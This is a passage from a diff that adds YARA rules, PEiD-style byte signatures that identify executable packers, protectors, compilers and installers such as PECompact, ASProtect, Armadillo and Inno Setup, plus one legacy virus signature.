+		$0 = {B4 30 CD 21 86 E0 2E A3 ?? ?? 3D ?? ?? 73}
+	condition:
+		$0 at entrypoint
+}
+rule _KBys_Packer_028_Beta__Shoooo_
+{
+	meta:
+		description = "KBys Packer 0.28 Beta -> Shoooo"
+	strings:
+		$0 = {60 E8 00 00 00 00 5E 83 EE 0A 8B 06 03 C2 8B 08 89 4E F3 83 EE 0F 56 52 8B F0 AD AD 03 C2 8B D8 6A 04 BF 00 10 00 00 57 57 6A 00 FF 53 08 5A 59 BD 00 80 00 00 55 6A 00 50 51 52 50 89 06 AD AD 03 C2 50 AD 03 C2 FF D0 6A 04 57 AD 50 6A 00 FF 53}
+	condition:
+		$0
+}
+rule _Microsoft_Visual_Cpp_v50v60_MFC_
+{
+	meta:
+		description = "Microsoft Visual C++ v5.0/v6.0 (MFC)"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_CodeLock__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Code-Lock] -> Anorganix"
+	strings:
+		$0 = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B E9}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_1451__CGSoftLabs_h_
+{
+	meta:
+		description = "eXPressor 1.4.5.1 -> CGSoftLabs (h)"
+	strings:
+		$0 = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? ?? 05 00 ?? ?? ?? A3 08 ?? ?? ?? A1 08 ?? ?? ?? B9 81 ?? ?? ?? 2B 48 18 89 0D 0C ?? ?? ?? 83 3D 10 ?? ?? ?? 00 74 16 A1 08 ?? ?? ?? 8B 0D 0C ?? ?? ?? 03 48 14}
+	condition:
+		$0
+}
+rule _ASProtect_SKE_23__Alexey_Solodovnikov_h_
+{
+	meta:
+		description = "ASProtect SKE 2.3 -> Alexey Solodovnikov (h)"
+	strings:
+		$0 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 E5 0B 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C}
+	condition:
+		$0
+}
+rule _Unknown_packer_03_
+{
+	meta:
+		description = "Unknown packer (03)"
+	strings:
+		$0 = {06 1E 57 56 50 53 51 52 BD ?? ?? 0E 1F 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _KByS_V028__shoooo__Sign_by_fly_
+{
+	meta:
+		description = "KByS V0.28 -> shoooo ! Sign by fly"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v123b3__v1241_
+{
+	meta:
+		description = "PECompact v1.23b3 - v1.24.1"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 08}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_021_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.21 beta -> Dwing"
+	strings:
+		$0 = {BE 88 01 40 00 AD 8B F8 6A 04 95 A5 33 C0 AB 48 AB F7 D8 59 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_10__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 1.0 -> p0ke"
+	strings:
+		$0 = {55 8B EC 83 C4 EC 53 56 33 C0 89 45 ?? ?? ?? ?? 40 00 E8 11 F4 FF FF BE 30 6B 40 00 33 C0 55 68 C9 42 40 00 64 FF 30 64 89 20 E8 C9 FA FF FF BA D8 42 40 00 8B ?? ?? ?? ?? FF FF 8B D8 B8 28 6B 40 00 8B 16 E8 37 F0 FF FF B8 2C 6B 40 00 8B 16 E8 2B F0 FF FF}
+		$1 = {55 8B EC 83 C4 EC 53 56 33 C0 89 45 ?? ?? ?? ?? 40 00 E8 11 F4 FF FF BE 30 6B 40 00 33 C0 55 68 C9 42 40 00 64 FF 30 64 89 20 E8 C9 FA FF FF BA D8 42 40 00 8B ?? ?? ?? ?? FF FF 8B D8 B8 28 6B 40 00 8B 16 E8 37 F0 FF FF B8 2C 6B 40 00 8B 16 E8 2B F0 FF FF B8 28 6B 40 00 E8 19 F0 FF FF 8B D0 8B C3 8B 0E E8 42 E3 FF FF BA DC 42 40 00 8B C6 E8 2A FA FF FF 8B D8 B8 20 6B 40 00 8B 16 E8 FC EF FF FF B8 24 6B 40 00 8B 16 E8 F0 EF FF FF B8 20 6B 40 00 E8 DE EF FF FF 8B D0 8B C3 8B 0E E8 07 E3 FF FF 6A 00 6A 19 6A 00 6A 32 A1 28 6B 40 00 E8 59 EF FF FF 83 E8 05 03 C0 8D 55 EC E8 94 FE FF FF 8B 55 EC B9 24 6B 40 00 A1 20 6B 40 00 E8 E2 F6 FF FF 6A 00 6A 19 6A 00 6A 32}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Obsidium_1339__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.9 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 28 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 03}
+		$1 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 28 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 CF 27 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Unknown_by_SMT_
+{
+	meta:
+		description = "Unknown by SMT"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 83 ?? ?? 57 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_DxPack_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [DxPack 1.0] -> Anorganix"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _AVPACK_v120_
+{
+	meta:
+		description = "AVPACK v1.20"
+	strings:
+		$0 = {50 1E 0E 1F 16 07 33 F6 8B FE B9 ?? ?? FC F3 A5 06 BB ?? ?? 53 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _fEaRzCrypter_v10__fEaRz_
+{
+	meta:
+		description = "fEaRzCrypter v1.0 -> fEaRz"
+	strings:
+		$0 = {55 8B EC B9 09 00 00 00 6A 00 6A 00 49 75 ?? 53 56 57 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 6A 00}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_10x__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector 1.0x -> Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _DxPack_10_
+{
+	meta:
+		description = "DxPack 1.0"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 8B FD 81 ED ?? ?? ?? ?? 2B B9 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Hafen1641_
+{
+	meta:
+		description = "Vx: Hafen.1641"
+	strings:
+		$0 = {E8 ?? ?? 01 ?? ?? ?? CE CC 25 ?? ?? 25 ?? ?? 25 ?? ?? 40 51 D4 ?? ?? ?? CC 47 CA ?? ?? 46 8A CC 44 88 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _PocketPC_MIB_
+{
+	meta:
+		description = "PocketPC MIB"
+	strings:
+		$0 = {E8 FF BD 27 14 00 BF AF 18 00 A4 AF 1C 00 A5 AF 20 00 A6 AF 24 00 A7 AF ?? ?? ?? 0C 00 00 00 00 18 00 A4 8F 1C 00 A5 8F 20 00 A6 8F ?? ?? ?? 0C 24 00 A7 8F ?? ?? ?? 0C 25 20 40 00 14 00 BF 8F 08 00 E0 03 18 00 BD 27 ?? FF BD 27 18 00 ?? AF}
+		$1 = {E8 FF BD 27 14 00 BF AF 18 00 A4 AF 1C 00 A5 AF 20 00 A6 AF 24 00 A7 AF ?? ?? ?? 0C 00 00 00 00 18 00 A4 8F 1C 00 A5 8F 20 00 A6 8F ?? ?? ?? 0C 24 00 A7 8F ?? ?? ?? 0C 25 20 40 00 14 00 BF 8F 08 00 E0 03 18 00 BD 27 ?? FF BD 27 18 00 ?? AF ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEncrypt_v10_
+{
+	meta:
+		description = "PEncrypt v1.0"
+	strings:
+		$0 = {60 9C BE 00 10 40 00 8B FE B9 28 03 00 00 BB 78 56 34 12 AD 33 C3 AB E2 FA 9D 61}
+	condition:
+		$0 at entrypoint
+}
+rule _pirit_v15_
+{
+	meta:
+		description = "$pirit v1.5"
+	strings:
+		$0 = {5B 24 55 50 44 FB 32 2E 31 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _Go32Stub_v200T_DOSExtender_
+{
+	meta:
+		description = "Go32Stub v.2.00T DOS-Extender"
+	strings:
+		$0 = {0E 1F 8C 1E ?? ?? 8C 06 ?? ?? FC B4 30 CD 21 3C}
+	condition:
+		$0 at entrypoint
+}
+rule _Encrypted_by_RSCC286_v101_
+{
+	meta:
+		description = "Encrypted by? RSCC/286 v1.01"
+	strings:
+		$0 = {FE 52 53 43 43 2F 31 2E 30 31 FE}
+	condition:
+		$0
+}
+rule _Obsidium_1300__Obsidium_Software_h_
+{
+	meta:
+		description = "Obsidium 1.3.0.0 -> Obsidium Software (h)"
+	strings:
+		$0 = {EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B}
+	condition:
+		$0
+}
+rule _eXPressor_v13__CGSoftLabs_h_
+{
+	meta:
+		description = "eXPressor v1.3 -> CGSoftLabs (h)"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 33 2E 2E B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 13 A1 ?? ?? ?? ?? 03 05 ?? ?? ?? ?? 89 ?? ?? E9 ?? ?? 00 00 C7 05}
+	condition:
+		$0 at entrypoint
+}
+rule _CreateInstall_200335_
+{
+	meta:
+		description = "CreateInstall 2003.3.5"
+	strings:
+		$0 = {81 EC 0C 04 00 00 53 56 57 55 68 60 50 40 00 6A 01 6A 00 FF 15 D8 80 40 00 8B F0 FF 15 D4 80 40 00 3D B7 00 00 00 75 0F 56 FF 15 B8 80 40 00 6A 02 FF 15 A4 80 40 00 33 DB E8 F2 FE FF FF 68 02 7F 00 00 89 1D 94 74 40 00 53 89 1D 98 74 40 00 FF 15 E4 80 40}
+	condition:
+		$0
+}
+rule _ASProtect_SKE_2122_exe__Alexey_Solodovnikov_h_
+{
+	meta:
+		description = "ASProtect SKE 2.1/2.2 (exe) -> Alexey Solodovnikov (h)"
+	strings:
+		$0 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C}
+		$2 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+	condition:
+		$0 or $1 or $2
+}
+rule _BobPack_v100__BoB__BobSoft_
+{
+	meta:
+		description = "BobPack v1.00 -> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 0C 24 89 CD 83 E9 06 81 ED ?? ?? ?? ?? E8 3D 00 00 00 89 85 ?? ?? ?? ?? 89 C2 B8 5D 0A 00 00 8D 04 08 E8 E4 00 00 00 8B 70 04 01 D6 E8 76 00 00 00 E8 51 01 00 00 E8 01 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Protect_Shareware_V11__eCompserv_CMS_
+{
+	meta:
+		description = "Protect Shareware V1.1 -> eCompserv CMS"
+	strings:
+		$0 = {53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 ?? 01 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 34 00 ?? 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4A 00 76 00 77 00}
+	condition:
+		$0
+}
+rule _Armadillo_300a__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 3.00a -> Silicon Realms Toolworks"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F}
+		$1 = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD 26 42}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_Full_Edition_117_aPLib_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 [aPLib]"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 74 1F 00 00 8D 9D 1E 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34}
+	condition:
+		$0 at entrypoint
+}
+rule _MoleBox_v230__Teggo_
+{
+	meta:
+		description = "MoleBox v2.3.0 -> Teggo"
+	strings:
+		$0 = {42 04 E8 ?? ?? 00 00 A3 ?? ?? ?? 00 8B 4D F0 8B 11 89 15 ?? ?? ?? 00 ?? 45 FC A3 ?? ?? ?? 00 5F 5E 8B E5 5D C3 CC CC CC CC CC CC CC CC CC CC CC E8 EB FB FF FF 58 E8 ?? 07 00 00 58 89 44 24 20 61 58 FF D0 E8 ?? ?? 00 00 CC CC CC CC CC CC CC}
+	condition:
+		$0
+}
+rule _MS_RunTime_Library_1990_1992_09_
+{
+	meta:
+		description = "MS Run-Time Library 1990, 1992 (09)"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 73 ?? C3 8C DF 8B 36 ?? ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _Splice_11__by_Tw1sted_L0gic_
+{
+	meta:
+		description = "Splice 1.1 - by Tw1sted L0gic"
+	strings:
+		$0 = {68 00 1A 40 00 E8 EE FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 ?? ?? ?? ?? ?? ?? 50 72 6F 6A 65 63 74 31 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 06 00 00 00 AC}
+		$1 = {68 00 1A 40 00 E8 EE FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 ?? ?? ?? ?? ?? ?? 50 72 6F 6A 65 63 74 31 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 06 00 00 00 AC 29 40 00 07 00 00 00 BC 28 40 00 07 00 00 00 74 28 40 00 07 00 00 00 2C 28 40 00 07 00 00 00 08 23 40 00 01 00 00 00 38 21 40 00 00 00 00 00 FF FF FF FF FF FF FF FF 00 00 00 00 8C 21 40 00 08 ?? 40 00 01 00 00 00 AC 19 40 00 00 00 00 00 00 00 00 00 00 00 00 00 AC 19 40 00 4F 00 43 00 50 00 00 00 E7 AF 58 2F 9A 4C 17 4D B7 A9 CA 3E 57 6F F7 76}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_444a_public_build__Silicon_Realms_Toolworks_h_
+{
+	meta:
+		description = "Armadillo 4.44a public build -> Silicon Realms Toolworks (h)"
+	strings:
+		$0 = {55 8B EC 83 EC 0C 53 56 57 8B 45 08 50 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 FC 8B 45 FC 51 B9 00 08 00 00 B9 06 00 00 00 F7 D1 0F C8 F7 D1 41 41 41 41 41 41 41 83 C1 04 41 41 41 41 83 C1 03 41 41 41 41 41 41 49 41 FE C1 FE C1 FE C1 83 C1 0D FE C1 FE C1 FE C1 FE C1 FE C1 83 C1 0A 49 52 BA 04 00 00 00 03 CA 41 5A 0F C8 23 C1 59 F7 D8 1B C0 F7 D8 5A 89 45 F4 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? D1 E1 89 4D F8 83 7D F4 00 74 09 8B 55 F8 83 CA 01 89 55 F8 8B 45 F8 50 FF 15 ?? ?? ?? ?? 83 C4 04 5F 5E 5B 8B E5 5D C3 55 8B EC 83 EC 0C 53 56 57 8B 45 08 50 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 FC 8B 45 FC 53 BB 80 00 00 00 EB 05 BB 04 00 00 00 BB 32 00 00 00 F7 D3 0F C8 F7 D3 43 43 83 E0 00 83 C3 08 4B 51 B9 04 00 00 00 03 D9 43 59 0F C8 40 5B 89 45 F4 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? D1 E1 89 4D F8 83 7D F4 00 74 09 8B 55 F8 83 CA 01 89 55 F8 8B 45 F8 50 FF 15 ?? ?? ?? ?? 83 C4 04 5F 5E 5B 8B E5 5D C3 55 8B EC 83 EC 0C 53 56 57 8B 45 08 50 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 FC 8B 45 FC 70 07 7C 03 EB 05 E9 74 FB EB F9 53 BB FF FF 00 00 23 C3 51 B5 2C 80 ED 01 80 ED 20 FE CD FE CD 80 ED 04 FE CD 80 ED 03 FE CD 22 E5 B1 70 80 E9 02 FE C9 FE C9 FE C9 80 E9 06 F6 D0 0F C9 F6 D0 0F C9 FE C9 FE C9 80 E9 10 FE C9 FE C9 80 C1 0C FE C9 FE C9 FE C9 70 07 7C 03 EB 05 C7 74 FB EB F9 FE C9 FE C9 FE C9 FE C9 80 E9 10 80 E9 01 FE C9 FE C9 FE C9 FE C9 FE C9 FE C9 FE C9 FE C9 F7 D1 0F C8 F7 D1 0F C8 FE C1 80 C1 02 22 C1 59 5B 85 C0 0F 85 94 00 00 00 8B 45 FC 53 BB 00 08 00 00 EB 05 BB 80 00 00 00 BB 72 00 00 00 F7 D3 0F C8 F7 D3 43 43 83 C3 08 4B 51 B9 04 00 00 00 03 D9 43 59 0F C8 23 C3 5B F7 D8 1B C0 40 5A 8B C8 51 8B 45 FC 52 BA FF FF}
+	condition:
+		$0
+}
+rule _PECompact_v166_
+{
+	meta:
+		description = "PECompact v1.66"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 ?? 87 DD 8B 85 E6 90 40 ?? 01 85 33 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 DA 90 40 ?? 01 85 DE 90 40 ?? 01 85 E2 90 40 ?? BB 5B 11}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftSentry_v30_
+{
+	meta:
+		description = "SoftSentry v3.0"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 E9 B0 06}
+	condition:
+		$0 at entrypoint
+}
+rule _PEnguinCrypt_v10_
+{
+	meta:
+		description = "PEnguinCrypt v1.0"
+	strings:
+		$0 = {B8 93 ?? ?? 00 55 50 67 64 FF 36 00 00 67 64 89 26 00 00 BD 4B 48 43 42 B8 04 00 00 00 CC 3C 04 75 04 90 90 C3 90 67 64 8F 06 00 00 58 5D BB 00 00 40 00 33 C9 33 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_
+{
+	meta:
+		description = "Inno Setup Module"
+	strings:
+		$0 = {49 6E 6E 6F 53 65 74 75 70 4C 64 72 57 69 6E 64 6F 77 00 00 53 54 41 54 49 43}
+		$1 = {55 8B EC 83 C4 ?? 53 56 57 33 C0 89 45 F0 89 45 ?? 89 45 ?? E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _MSLRH_032a_fake_MSVCpp_60_DLL__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake MSVC++ 6.0 DLL) -> emadicius"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 5F 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58}
+	condition:
+		$0
+}
+rule _VProtector_11A12__vcasm_
+{
+	meta:
+		description = "VProtector 1.1A-1.2 -> vcasm"
+	strings:
+		$0 = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F 32 30 30 35 5F 33 5F 31 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3}
+	condition:
+		$0
+}
+rule _PESpin_v11_by_cyberbob_
+{
+	meta:
+		description = "PESpin v1.1 by cyberbob"
+	strings:
